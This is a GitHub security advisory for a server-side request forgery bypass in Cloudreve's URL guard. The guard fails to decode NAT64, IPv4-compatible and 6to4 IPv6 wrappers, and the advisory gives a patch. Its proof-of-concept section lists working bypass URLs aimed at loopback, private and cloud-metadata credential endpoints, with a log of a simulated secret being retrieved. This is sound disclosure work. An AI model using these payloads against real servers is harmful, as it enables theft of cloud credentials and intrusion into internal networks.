Skip to content

Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses

Moderate severity GitHub Reviewed Published Sep 14, 2026 in cloudreve/cloudreve • Updated Sep 22, 2026

Package

gomod github.com/cloudreve/Cloudreve/v4 (Go)

Affected versions

< 4.0.0-20260715072853-1c5cad6dec7e

Patched versions

4.0.0-20260715072853-1c5cad6dec7e

Description

Summary

Cloudreve's server-side request forgery guard ValidateExternalURL (pkg/request/ssrf.go) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by checkIP, which uses Go's net.IP builtins (IsLoopback, IsPrivate, IsLinkLocalUnicast, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (64:ff9b::a.b.c.d, RFC 6052), an IPv4-compatible address (::a.b.c.d, RFC 4291), or a 6to4 address (2002:AABB:CCDD::, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so checkIP accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service 169.254.169.254). This bypasses the SSRF guard that was added to block direct access to internal services.

Affected component and versions

  • Component: pkg/request/ssrf.go (ValidateExternalURL / checkIP), reached from the remote-download workflow pkg/filemanager/workflows/remote_download.go (RemoteDownloadTask.createDownloadTask, which passes the user-supplied SrcUri to ValidateExternalURL).
  • Affected: Cloudreve <= 4.17.0 (latest release at time of report) and current main.
  • Reachable by an authenticated remote-download user; administrative privileges are not required.

Vulnerable form vs correctly-guarded sibling

checkIP DOES block IPv4-mapped IPv6 (::ffff:a.b.c.d), because Go's net.IP.To4() returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those To4() returns nil and every net.IP classifier reports the wrapper as a normal global IPv6 address:

  • NAT64 well-known prefix 64:ff9b::/96 (RFC 6052): 64:ff9b::a9fe:a9fe embeds 169.254.169.254.
  • IPv4-compatible ::a.b.c.d (RFC 4291): ::a9fe:a9fe embeds 169.254.169.254.
  • 6to4 2002::/16 (RFC 3056): 2002:a9fe:a9fe:: embeds 169.254.169.254.

The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by To4(). The same gap was fixed correctly in a sibling project: makeplane/plane apps/api/plane/utils/ip_address.py _embedded_ipv4() decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.

Severity

An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity.

Proof of concept

The guard file pkg/request/ssrf.go imports only the Go standard library, so ValidateExternalURL was compiled and called verbatim from tag 4.17.0. The remote-download workflow calls it as ValidateExternalURL(ctx, SrcUri, opt) with default options.

Direction 1 (shipped guard accepts the internal-embedding wrappers):

=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===
[ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] NAT64 -> 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/
[ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/
[ACCEPTED] IPv4-compatible -> 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] IPv4-compatible -> 127.0.0.1                    http://[::7f00:1]/
[ACCEPTED] 6to4 -> encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -> link-local address 169.254.169.254: URL is not allowed
[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/
SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6

Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes 64:ff9b::a9fe:a9fe to 169.254.169.254, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.

[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569
[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/
[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)

[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.
    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)

[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200
[+] Response body (exfiltrated internal secret):
    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9

[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,
         fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200.

Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):

=== Cloudreve guard WITH FIX applied ===
[BLOCKED ] NAT64 -> 169.254.169.254                 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] NAT64 -> 127.0.0.1                       -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] NAT64 -> 10.0.0.1                        -> private address 10.0.0.1: URL is not allowed
[BLOCKED ] IPv4-compatible -> 169.254.169.254       -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-compatible -> 127.0.0.1             -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] 6to4 -> 169.254.169.254                  -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (control)       -> loopback address 127.0.0.1: URL is not allowed
[ACCEPTED] public 1.1.1.1 (control, should PASS)
[ACCEPTED] public 8.8.8.8 (control, should PASS)
Remaining bypasses after fix: 0 (expect 0)

Impact

An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service 169.254.169.254, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.

Suggested fix

Canonicalize the resolved address to its embedded IPv4 before the range checks, so checkIP classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:

--- a/pkg/request/ssrf.go
+++ b/pkg/request/ssrf.go
@@ func checkIPWithAllowlist ... return checkIP(ip) }
+
+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the
+// packet ultimately reaches, so checkIP classifies the real target rather than
+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped
+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),
+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).
+func effectiveIP(ip net.IP) net.IP {
+	if v4 := ip.To4(); v4 != nil {
+		return v4
+	}
+	v6 := ip.To16()
+	if v6 == nil {
+		return ip
+	}
+	if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
+		v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 &&
+		v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 {
+		return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+	}
+	if v6[0] == 0x20 && v6[1] == 0x02 {
+		return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()
+	}
+	allZeroTop := true
+	for i := 0; i < 12; i++ {
+		if v6[i] != 0 {
+			allZeroTop = false
+			break
+		}
+	}
+	if allZeroTop {
+		last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15])
+		if last > 1 {
+			return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+		}
+	}
+	return ip
+}
+
 func checkIP(ip net.IP) error {
+	ip = effectiveIP(ip)
 	if ip == nil {
 		return fmt.Errorf("invalid IP: %w", ErrUnsafeURL)
 	}

As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.

Credit

tonghuaroot (tonghuaroot@gmail.com).

References

@HFO4 HFO4 published to cloudreve/cloudreve Sep 14, 2026
Published by the National Vulnerability Database Sep 22, 2026
Published to the GitHub Advisory Database Sep 22, 2026
Reviewed Sep 22, 2026
Last updated Sep 22, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(33rd percentile)

Weaknesses

Incorrect Comparison

The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-79913

GHSA ID

GHSA-jvh5-97xg-v99f

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.